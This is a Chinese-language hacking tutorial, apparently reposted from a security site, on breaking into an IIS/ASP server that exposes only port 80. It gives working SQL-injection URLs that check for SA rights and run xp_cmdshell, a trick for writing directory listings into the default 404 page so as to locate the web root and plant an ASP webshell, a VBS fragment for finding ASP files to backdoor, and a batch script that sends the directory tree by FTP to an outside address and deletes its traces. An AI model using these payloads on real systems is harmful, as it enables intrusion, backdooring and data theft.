破解80端口技巧
首先我们要对服务器进行信息收集,先拿出扫描工具对要测试的站点进行扫描,对方只提供WEB服务,开了80端口,其它信息一无所知,即使连对方的操作系统类型都不知道。这样的系统不知道装了N重防火墙或者IDS,直接从系统入侵根本不可能。我们还是从HTTP头探测我们所要的信息吧。对方的IIS版本号是IIS5.0,加上服务器上的ASP脚本,可大致判断对方是Windows 2000系统。知道这些信息对我们基于脚本下的入侵已经足够了。
作为专业的服务器,一般只打开80端口,这在追求安全的Network环境里已经不足为奇了,许多Network管理员也放松了警惕,以为这铜墙铁壁的系统真的无懈可击了。真得是如此吗?我们通过对某一类似服务器进行渗透打破这种观念。
我们知道,一般Network管理员,只是负责对系统安全进行维护,至于脚本程序是由程序员编写的,他们大多数不会注意脚本的安全性,而且也不太可能什么都懂,从而使服务器有了SQL Injection的问题。很不幸,我也发现了一个:
http://www.target.com/show.asp?id=1234'
返回如图1所示。
图1
初步判断主机存在SQL注入漏洞,再次提交URL,确定服务器的连接权限:
http://www.target.com/show.asp?id=1234 and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'))
返回正常,表明当前连接的账号是服务器Sysadmin权限。试试SA权限,根据我的经验,这样重重防护的服务器除非没有脚本问题,一旦有,就很大可能是SA权限的连接:
http://www.target.com/show.asp?id=1234 and 'sa'=(SELECT System_user)
返回正常,表明我的猜测是对的,它是用SA连接的,权限比系统管理员还高,再看看我们最喜欢的Xp_cmdshell存在存在:
http://www.target.com/show.asp?id=1234 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell')
返回正常,表明Xp_cmdshell扩展存储过程没有被删除。接下来就是最重要的工作了,虽然现在我们的权限级高,但由于对方防火墙的限制,我们除了80端口外无法和服务器进行通信,而且执行的CMD命令还没有回显。面对这种僵局,网上方法很多,基本上都是取得WEB的物理路径然,后Echo或Backup一个ASP木马到WEB目录下,得到WwbShell。其中简单的方法要属要饭兄的读注册表的方法了,但是他读取服务器WEB绝对路径一点,只有在默认安装的时候才会正确读取。也就是说注册表里面存储的只是在安装IIS时的WEB绝对路径,而如果用户对这个路径进行修改的话,注册表内的值仍然是不变的,因此即使你把木马按照臭要饭的那种方法上传上去也是没有办法找到并执行的。
关于这个方法,大家可以在黑防前期杂志里看到,我就不再重复了。我现在要讲的是一个全新的方法来取得WEB的物理路径,大家要看好了啊。
第一步我们要做的是在域名下随便输入一个不存在的页面,显然服务器会返回给我们404未找到的错误页面。如果管理员没有修改默认的错误页面,我们基本上就可以通过它来取得WebShell了。
脚本小子:错误页面的默认位置是C:\winnt\help\iisHelp\common\目录,这是Windows 2000系统的默认路径,Windows 2003和Windows xp默认路径应该是C:\wondows\help\iisHelp\common\,其中404错误重定向到的文件是C:\winnt\help\iisHelp\common\404b.htm(windows2000),C:\windows\help\iisHelp\common\404b.htm(windowsXP),这里默认是将C盘作为系统盘得到的物理路径。
好了,为了保险起见,我们先让服务器返回这个错误页面并将它保存起来,用来恢复修改后的服务器上的页面。好了,看好下面的提交:
http://www.target.com/show.asp?id=1234;exec master.dbo.xp_cmdshell 'tree d:\ >>c:\winnt\help\iisHelp\common\404b.htm';--
等待一会儿,因为这个命令执行的很慢。我们随便访问一个不存在的页面,使服务器返回这个页面,如果没有变化,不要着急,在保证命令没有出错的前提下继续提交:
http://www.target.com/show.asp?id=1234;exec master.dbo.xp_cmdshell 'tree d:\ >>c:\wondows\help\iisHelp\common\404b.htm';--
或
http://www.target.com/show.asp?id=1234;exec master.dbo.xp_cmdshell 'tree d:\ >>d:\winnt\help\iisHelp\common\404b.htm';--
或
http://www.target.com/show.asp?id=1234;exec master.dbo.xp_cmdshell 'tree d:\ >>d:\wondows\help\iisHelp\common\404b.htm';--
这是我测试的时候写入的111111,看是不是成功了?如图2所示。
我们再去构造目录命令,再访问那个定制的错误页面,它已经将D盘的目录结构写到了这个文件上,为了不被其它浏览者也看到这个页面,赶快将它复制来,然后用Echo命令将它写回去。为了提高速度,可以使用NBUPLOAD程序。接下来我们慢慢从得到的目录树中找到WEB物理路径吧!
其实我们还有其它的方法快速取得一个WebShell,比如说在本地先写一个VBS脚本文件,大致作用是取得服务器各个分区的目录结构(使用Tree命令),然后从中搜索Inc或Images等特征文件夹,得到此文件夹的物理路径后将一个ASP木马写入这个目录就可得到WebShell了。
同样我们利用VBS脚本遍历文件,查找ASP扩展名,像病毒一样感染这种类型文件也可得到WebShell。由于这种方法杀伤力极大,完整的VBS就不提供了,我把关键代码写出来:
sub search(folder_) 'search函数定义,
on error resume next '如果出现错误,直接跳过.
set folder_=fso.getfolder(folder_)
set files=folder_.files ' 当前目录的所有文件集合
for each file in filesext=fso.GetExtensionName(file) '获取文件后缀
ext=lcase(ext) '后缀名转换成小写字母
if ext="asp" then '如果后缀名是asp,则插入后门。
Ws cript.echo (file)
end if
next
set subfolders=folder_.subfolders
for each subfolder in subfolders
'搜索其他目录;递归调用search( )
search(subfolder)
next
end sub
如果服务器的防火墙限制得不很严格,我们同样可以调用FTP命令将目录结构文件Tree.txt发送出去,此Tree.bat文件的文件如下:
tree c:\ >tree.txt
tree d:\ >>tree.txt
tree e:\ >>tree.txt
tree f:\ >>tree.txt
echo ftp 172.18.16.61 21>ftp.txt
echo llikz>>ftp.txt
echo 111111>>ftp.txt
echo put tree.txt>>ftp.txt
echo bye>>ftp.txt
ftp -s:ftp.txt
del ftp.txt
del tree.txt
del tree.bat
转截请注明:文章来自 pc捍卫者 http://www.pchwz.com
本站发布此文为传递更多信息之目的,不表明pc捍卫者赞同其观点